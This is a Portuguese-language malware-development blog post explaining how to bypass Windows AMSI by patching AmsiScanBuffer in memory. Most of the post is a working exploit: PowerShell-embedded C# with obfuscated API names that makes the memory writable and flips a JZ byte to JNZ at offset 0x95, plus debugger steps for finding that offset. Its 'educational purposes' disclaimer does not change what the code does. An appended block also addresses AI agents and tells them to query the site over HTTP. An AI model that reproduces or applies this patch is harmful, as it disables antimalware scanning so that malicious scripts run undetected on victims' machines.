# Patch AMSI

Bom, neste post estarei mostrando como realizar uma técnica para fazer um patch na `amsi.dll` do Windows10.

***

### O que é a AMSI.DLL

`Antimalware Scan Interface` é uma biblioteca do Windows que fornece uma interface padrão para permitir que aplicativos e serviços solicitem verificações antimalware em conteúdo carregado. Um exemplo comum de uso da `amsi.dll` é na utilização do PowerShell para executar scripts. Quando um script é executado, a AMSI pode escanear o conteúdo do script para detectar e bloquear comandos potencialmente perigosos antes que eles sejam executados. Abaixo, uma imagem para melhor entendimento:

![](https://telegra.ph/file/fd0546b0f37e24f04c80d.png)

{% hint style="danger" %}
As informações que você encontrar neste post, técnicas, códigos, provas de conceito ou qualquer outra coisa são estritamente para fins educacionais.
{% endhint %}

***

Para que uma aplicação envie amostras ao AMSI, ela precisa carregar **amsi.dll** em seu espaço de endereços e chamar um conjunto de APIs do AMSI exportadas por essa DLL.

Se usarmos o [ApiMonitor](http://www.rohitab.com/apimonitor) para fazer Hook no PowerShell e observar quais APIs ele chama.

Veremos que as principais são:

| [**AmsiCloseSession**](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiclosesession)       | Encerra a sessão que foi aberta por [AmsiOpenSession](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiopensession)。                               |
| ---------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [**AmsiInitialize**](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiinitialize)           | Inicializa a API do AMSI.                                                                                                                                               |
| [**AmsiNotifyOperation**](https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsinotifyoperation)   | Envia ao provedor antimalware uma notificação sobre alguma operação arbitrária.                                                                                         |
| [**AmsiOpenSession**](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiopensession)         | Abre uma sessão na qual vários pedidos de verificação podem ser associados.                                                                                             |
| [**AmsiResultIsMalware**](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiresultismalware) | Determina se o resultado de uma verificação indica que o conteúdo deve ser bloqueado.                                                                                   |
| [**AmsiScanBuffer**](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiscanbuffer)           | Analisa um buffer de memória cheio de conteúdo, procurando por malware.                                                                                                 |
| [**AmsiScanString**](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiscanstring)           | Analisa uma string à procura de malware.                                                                                                                                |
| [**AmsiUninitialize**](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiuninitialize)       | Remove a instância da API [AMSI](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiinitialize) que foi aberta originalmente por **AmsiInitialize**. |

Esta é a arquitetura do AMSI fornecida pela Microsoft.

<figure><img src="/files/Q8pvhpYLRvZO09TPMUpa" alt="https://learn.microsoft.com/en-us/windows/win32/amsi/images/amsi7archi.jpg"><figcaption></figcaption></figure>

A interface AMSI do Windows é aberta.\
Isso significa que qualquer aplicativo pode chamá-la, qualquer mecanismo antivírus registrado pode processar o conteúdo enviado a ela.

{% hint style="info" %}
O antivírus escaneia todos os assemblies.\
Nas versões anteriores do .NET Framework, o runtime usava o Windows Defender ou antivírus de terceiros para escanear todos os assemblies carregados a partir do disco.\
Porém, assemblies carregados a partir de outras fontes (por exemplo, usando o método [Assembly.Load()](https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load#system-reflection-assembly-load\(system-byte\(\)\))), que podem conter malware não detectado, não eram escaneados.

A partir do .NET 4.8, o AMSI se tornou parte do framework, por isso, quando um assembly é carregado, a AMSI.DLL também é carregada.
{% endhint %}

O AMSI é chamado direta ou indiretamente no sistema Windows, distribuído principalmente nos seguintes programas:

**1. Controle de Conta de Usuário (UAC)** — `%windir%\System32\consent.exe`\
**2. PowerShell (scripts, uso interativo e execução dinâmica)** — `System.Management.Automation.dll`\
**3. Windows Script Host** — `wscript.exe` ou `cscript.exe`\
**4. JavaScript / VBScript** — `%windir%\System32\jscript.dll` , `%windir%\System32\vbscript.dll`\
**5. Office VBA Macros** — `VBE7.dll`\
**6. .NET Assembly** — `clr.dll`    \
**7. WMI** — `%windir%\System32\wbem\fastprox.dll` &#x20;

***

Ou seja se abrirmos um PowerShell localmente e observarmos os módulos carregados, veremos que ele carrega automaticamente o `amsi.dll`.

<figure><img src="/files/DXF5b6H14yiX7X3v1bF9" alt=""><figcaption></figcaption></figure>

Para contornarmos isso, podemos fazer com que o AMSI execute muitas verificações de validação antes de atingir o código crítico de "verificação" do AMSI. Podemos debugar a AMSI.dll no ida64.exe. Temos apenas que encontrar o ponto crítico. Abaixo, uma imagem para melhor entendimento:

![](https://telegra.ph/file/fc8340db699810552c51b.png)

![](https://telegra.ph/file/0366a7876f00425d4d148.png)

Para isso podemos simplesmente alternar um dos `JZ`/`JE` para `JNZ`/`JNE`. Para entender melhor: `0x74` = `JZ`/`JE` e `0x75` = `JNZ`/`JNE`. O código para realizar o patch está abaixo:

{% code title="Patch AMSI (PowerShell + C#)" %}

```csharp
$data = @"
using System;
using System.Runtime.InteropServices;
using System.Threading;

public class Program
{
	[DllImport("kernel32")]
	public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
	[DllImport("kernel32")]
	public static extern IntPtr LoadLibrary(string name);
	[DllImport("kernel32")]
	public static extern bool VirtualProtect(IntPtr lpAddress, UInt32 dwSize, uint flNewProtect, out uint lpflOldProtect);
	public static void Run()
	{
		IntPtr lib = LoadLibrary("a"+"m"+"si."+"dll");
		IntPtr amsi = GetProcAddress(lib, "Am"+"s"+"iScan"+"B"+"uffer");
		IntPtr final = IntPtr.Add(amsi, ?);
		uint old = 0;
		VirtualProtect(final, (UInt32)0x1, 0x40, out old);

		Console.WriteLine(old);
		byte[] patch = new byte[] { 0x75 };

		Marshal.Copy(patch, 0, final, 1);

		VirtualProtect(final, (UInt32)0x1, old, out old);
	}
}
"@

Add-Type $data -Language CSharp 

[Program]::Run()
```

{% endcode %}

Abaixo está uma explicação mais detalhada para entender o código:

### Obter o Endereço da Função "AmsiScanBuffer"

Começamos pegando o endereço da função `AmsiScanBuffer` carregada na DLL `amsi.dll`:

```csharp
IntPtr lib = LoadLibrary("a" + "m" + "si." + "dll");
IntPtr amsi = GetProcAddress(lib, "Am" + "s" + "iScan" + "B" + "uffer");
```

#### Calcular o Endereço Final

Somamos `?` ao endereço de `AmsiScanBuffer` para obter o endereço `final`, que contém a instrução `JZ/JE`:

```csharp
IntPtr final = IntPtr.Add(amsi, ?);
```

#### Alterar a Permissão de Memória

Alteramos a permissão de memória do endereço final para permitir escrita. Note que `0x40` é `PAGE_EXECUTE_READWRITE`. Em seguida exibimos a permissão de memória anterior:

```csharp
uint old = 0;
VirtualProtect(final, (UInt32)0x1, 0x40, out old);
Console.WriteLine(old);
```

#### Aplicar o Patch

Mudamos os primeiros bytes do endereço final para `0x75`, que altera a instrução para `JNZ`/`JNE`:

```csharp
byte[] patch = new byte[] { 0x75 };
Marshal.Copy(patch, 0, final, patch.Length);
```

{% stepper %}
{% step %}

### Primeiro passo

![](https://telegra.ph/file/91d6fdc54ae0031f315c1.png)
{% endstep %}

{% step %}

### Segundo passo

Aqui apenas definimos um BreakPoint para acharmos o endereço do `AmsiScanBuffer`. Depois pressionamos `Ctrl + B`, colamos o hex que copiamos para então encontrar o endereço do `JZ`/`JE` que precisamos copiar:

![](https://telegra.ph/file/d15b4032834ce00374c9b.png)
{% endstep %}

{% step %}

### Terçeiro passo

Aqui fazemos um cálculo simples: `Endereço do "AmsiScanBuffer"` + `Endereço do "JZ/JE"` que queremos modificar para `JNZ`/`JNE`:

![](https://telegra.ph/file/536b460067ccd8f58d941.png)
{% endstep %}

{% step %}

### Quarto passo

Agora que sabemos quanto temos que adicionar (`0x95`) ao endereço do `AmsiScanBuffer` para chegar no endereço final `JZ/JE`, apenas o adicionamos no código:

```csharp
IntPtr final = IntPtr.Add(amsi, 0x95);
```

{% endstep %}
{% endstepper %}

***

#### Entendendo o processo

Agora que terminamos de achar tudo que precisávamos, vamos executar o código no próprio PowerShell. Ao executar nosso código, ele fará o seguinte: obterá o endereço de `AmsiScanBuffer`, adicionará `0x95` ao endereço para chegar ao endereço final `JZ/JE`, alterará as permissões para `0x40` (que corresponde a `PAGE_EXECUTE_READWRITE`), mudará o byte de `0x74` para `0x75` (alterando `JZ/JE` para `JNZ/JNE`), e restaurará as permissões de memória originais para garantir que nosso patch seja realizado com sucesso.

***

### Realizando o patch:

![](https://telegra.ph/file/5100d6f4aeafe8a89a9c6.png)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://vith0r.gitbook.io/public/malware-dev/posts/memory-patch/patch-amsi.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
